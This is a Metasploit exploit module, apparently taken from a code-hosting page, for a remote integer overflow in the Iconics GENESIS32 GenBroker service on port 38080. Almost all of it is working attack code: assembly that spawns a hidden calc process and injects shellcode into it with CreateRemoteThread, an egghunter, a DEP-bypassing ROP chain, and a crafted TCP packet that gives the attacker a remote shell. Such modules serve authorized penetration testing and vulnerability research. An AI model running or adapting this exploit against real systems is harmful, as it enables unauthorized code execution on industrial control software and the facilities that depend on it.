347 lines
11 KiB
Ruby
347 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Iconics GENESIS32 Integer overflow version 9.21.201.01",
|
|
'Description' => %q{
|
|
The GenBroker service on port 38080 is affected by three integer overflow
|
|
vulnerabilities while handling opcode 0x4b0, which is caused by abusing the
|
|
the memory allocations needed for the number of elements passed by the client.
|
|
This results unexpected behaviors such as direct registry calls, memory location
|
|
calls, or arbitrary remote code execution. Please note that in order to ensure
|
|
reliability, this exploit will try to open calc (hidden), inject itself into the
|
|
process, and then open up a shell session. Also, DEP bypass is supported.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Luigi Auriemma', #Initial discovery, poc
|
|
'Lincoln', #Metasploit
|
|
'corelanc0d3r <peter.ve[at]corelan.be>', #Metasploit + custom migrate fu
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '72817'],
|
|
['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
|
|
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "thread",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP',
|
|
{
|
|
'Ret' => "\x70\x45",
|
|
'Max' => 9000,
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Mar 21 2011",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(38080)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
migrate_asm = %Q|
|
|
add esp,-500 ; adjust the stack to be sure
|
|
pushad ; save stuff
|
|
|
|
find_kernel32: ;find kernel32
|
|
push esi ; Save esi
|
|
xor esi, esi ; Zero esi
|
|
mov eax, fs:[esi + 0x4] ; Extract TEB
|
|
mov eax, [eax - 0x1c]
|
|
find_kernel32_base:
|
|
find_kernel32_base_loop:
|
|
dec eax ; Subtract to our next page
|
|
xor ax, ax ; Zero the lower half
|
|
cmp word [eax], 0x5a4d ; Is this the top of kernel32?
|
|
jne find_kernel32_base_loop ; Nope? Try again.
|
|
find_kernel32_base_finished:
|
|
pop esi ; Restore esi
|
|
|
|
mov edx,eax ; save base of kernel32 in edx
|
|
|
|
jmp main_routine
|
|
|
|
; find function pointer
|
|
find_function:
|
|
pushad ;save all registers
|
|
mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp
|
|
mov eax, [ebp + 0x3c] ;skip over MSDOS header
|
|
mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx
|
|
add edx, ebp ;add base address to it.
|
|
mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?)
|
|
|
|
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
|
|
add ebx, ebp ;add base address to it (ebx = absolute address of names table)
|
|
|
|
;(should never happen)
|
|
;unless function could not be found
|
|
find_function_loop:
|
|
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
|
|
|
|
dec ecx ;ecx=ecx-1
|
|
;with the current symbol
|
|
;and store offset in esi
|
|
mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
|
|
add esi, ebp ;add base address (esi = absolute address of current symbol)
|
|
|
|
compute_hash:
|
|
xor edi, edi ;zero out edi
|
|
xor eax, eax ;zero out eax
|
|
cld ;clear direction flag.
|
|
|
|
compute_hash_again:
|
|
lodsb ;load bytes at esi (current symbol name) into al, + increment esi
|
|
test al, al ;end of string ?
|
|
jz compute_hash_finished ;yes
|
|
ror edi, 0xd ;no, rotate value of hash 13 bits to the right
|
|
add edi, eax ;add current character of symbol name to hash accumulator
|
|
jmp compute_hash_again ;continue loop
|
|
|
|
compute_hash_finished:
|
|
|
|
find_function_compare:
|
|
cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)
|
|
jnz find_function_loop ;no match, go to next symbol
|
|
mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx)
|
|
add ebx, ebp ;add base address (ebx = absolute address of ordinals address table)
|
|
mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
|
|
mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
|
|
add ebx, ebp ;add base address (ebx = absolute address of address table)
|
|
mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax
|
|
add eax, ebp ;add base address (eax = absolute address of function address)
|
|
mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax)
|
|
|
|
find_function_finished: ;retrieve original registers (eax will contain function address)
|
|
popad
|
|
ret
|
|
|
|
;--------------------------------------------------------------------------------------
|
|
find_funcs_for_dll:
|
|
lodsd ;load current hash into eax (pointed to by esi)
|
|
push eax ;push hash to stack
|
|
push edx ;push base address of dll to stack
|
|
call find_function
|
|
mov [edi], eax ;write function pointer into address at edi
|
|
add esp, 0x08 ;adjust stack
|
|
add edi, 0x04 ;increase edi to store next pointer
|
|
cmp esi, ecx ;did we process all hashes yet ?
|
|
jne find_funcs_for_dll ;get next hash and lookup function pointer
|
|
find_funcs_for_dll_finished:
|
|
ret
|
|
|
|
;--------------------------------------------------------------------------------------
|
|
main_routine:
|
|
sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string
|
|
mov ebp,esp
|
|
; ebp+4 : GetStartupInfo
|
|
; ebp+8 : CreateProcess
|
|
; ebp+C : VirtualAllocEx
|
|
; ebp+10 : WriteProcessMemory
|
|
; ebp+14 : CreateRemoteThread
|
|
; ebp+18 : Sleep
|
|
; ebp+1c : ptr to calc
|
|
|
|
jmp get_func_hash
|
|
get_func_hash_return:
|
|
|
|
pop esi ;get pointer to hashes into esi
|
|
;edi will be increased with 0x04 for each hash
|
|
lea edi, [ebp+0x4] ;we will store the function addresses at edi
|
|
|
|
mov ecx,esi
|
|
add ecx,0x18
|
|
call find_funcs_for_dll ;get function pointers for all hashes
|
|
|
|
; get our own startupinfo at esp+0x60
|
|
; ebp+4 = GetStartupInfo
|
|
mov edx,esp
|
|
add edx,0x60
|
|
push edx
|
|
call [ebp+0x4]
|
|
;ptr to startupinfo is in eax
|
|
|
|
; create a new process
|
|
; pointer to string is in ecx
|
|
; ebp+8 = CreateProcessA
|
|
; ptr to startupinfo is now in eax
|
|
; no need to patch startupinfo, target runs as a service
|
|
; +2c : dwFlags : set to 0x1
|
|
; +30 : wShowWind : set to 0 (hide)
|
|
|
|
; create the process
|
|
mov edi,eax
|
|
add edi,48
|
|
push edi ; lpProcessInformation : write processinfo here
|
|
push eax ; lpStartupInfo : current info (read)
|
|
push 0 ; lpCurrentDirectory
|
|
push 0 ; lpEnvironment
|
|
push 0x08000000 ; dwCreationFlags
|
|
push 0 ; bInHeritHandles
|
|
push 0
|
|
push 0
|
|
push esi ; ptr to calc
|
|
push 0
|
|
call [ebp+0x8]
|
|
; muahah calc ftw, now sleep a bit
|
|
push 0xbb8 ; 3 seconds
|
|
call [ebp+0x18]
|
|
|
|
; allocate memory in the process (VirtualAllocEx())
|
|
; get handle
|
|
mov ecx,[edi]
|
|
push 0x40 ; RWX
|
|
push 0x1000 ; MEM_COMMIT
|
|
push 0x1000 ; size
|
|
push 0 ; address
|
|
push ecx ; handle
|
|
call [ebp+0xc]
|
|
|
|
; eax now contains the destination
|
|
; WriteProcessMemory()
|
|
mov ecx,[edi] ; pick up handle again
|
|
push 0x1000 ; size
|
|
; pick up pointer to shellcode & push to stack
|
|
mov ebx,[esp+0x20]
|
|
add ebx,320
|
|
push ebx ; source
|
|
push eax ; destination
|
|
push ecx ; handle
|
|
call [ebp+0x10]
|
|
|
|
; run the code (CreateRemoteThread())
|
|
mov ecx,[edi] ; pick up handle again
|
|
push 0 ; lpthreadID
|
|
push 0 ; run immediately
|
|
push 0 ; no parameter
|
|
mov ebx,[esp-0x4]
|
|
push ebx ; shellcode
|
|
push 0x2000 ; stacksize
|
|
push 0 ; lpThreadAttributes
|
|
push ecx
|
|
call [ebp+0x14] ; go baby !
|
|
|
|
|
|
get_func_hash:
|
|
call get_func_hash_return
|
|
db 0xD7 ;GetStartupInfoA
|
|
db 0xE3
|
|
db 0x7A
|
|
db 0x86
|
|
db 0x72 ;CreateProcessA
|
|
db 0xfe
|
|
db 0xb3
|
|
db 0x16
|
|
db 0x9c ;VirtualAllocEx
|
|
db 0x95
|
|
db 0x1a
|
|
db 0x6e
|
|
db 0xa1 ;WriteProcessMemory
|
|
db 0x6a
|
|
db 0x3d
|
|
db 0xd8
|
|
db 0xdd ;CreateRemoteThread
|
|
db 0x9c
|
|
db 0xbd
|
|
db 0x72 ;Sleep
|
|
db 0xB0
|
|
db 0x49
|
|
db 0x2D
|
|
db 0xDB
|
|
|
|
; sneak in ptr to string too :)
|
|
db "calc"
|
|
db 0x00
|
|
|
|
|
|
|
migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
|
|
|
|
nops = make_nops(10) * 4
|
|
thepayload = migrate << nops << payload.encoded
|
|
|
|
eggoptions =
|
|
{
|
|
:eggtag => 'w00t',
|
|
}
|
|
|
|
hunter, egg = generate_egghunter(thepayload, "", eggoptions)
|
|
|
|
header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
|
|
header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"
|
|
|
|
rop_chain =
|
|
[
|
|
0x100b257b, # POP ESP # RETN
|
|
0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
|
|
0x10047355, # Duplicate, readable, RETN
|
|
0x10047355, # POP EAX # RETN ** [GenClientU.dll]
|
|
0xffffffde,
|
|
0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
|
|
0x1011e33e, # XCHG EAX,EDX # RETN
|
|
0x1001ab22, # POP ECX # RETN ** [GenClientU.dll]
|
|
0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
|
|
0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll]
|
|
0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
|
|
0x10080163, # POP ESI # RETN -> EDI
|
|
0x41414141,
|
|
0x41414141,
|
|
0xffffffff, # NtCurrentProcess() (EBX)
|
|
0x7c331d24, # ptr to 0x2 -> ECX
|
|
0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll]
|
|
0x10047355, # POP EAX # RETN ** [GenClientU.dll]
|
|
0xfffffffc,
|
|
0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
|
|
0x100dda84, # PUSHAD # RETN ** [GenClientU.dll]
|
|
0x90908aeb, # go to egghunter
|
|
].pack('V*')
|
|
|
|
sploit = target['Ret'] * 180
|
|
sploit << [0x74757677].pack('V') * 8
|
|
sploit << "\x77\x77"
|
|
sploit << hunter #32 byte hunter, no room for checksum
|
|
sploit << rop_chain
|
|
sploit << make_nops(28)
|
|
sploit << egg
|
|
|
|
sploit << rand_text_alpha(target['Max']-sploit.length)
|
|
|
|
connect
|
|
print_status("Sending request. This will take a few seconds...")
|
|
sock.put(header + sploit)
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|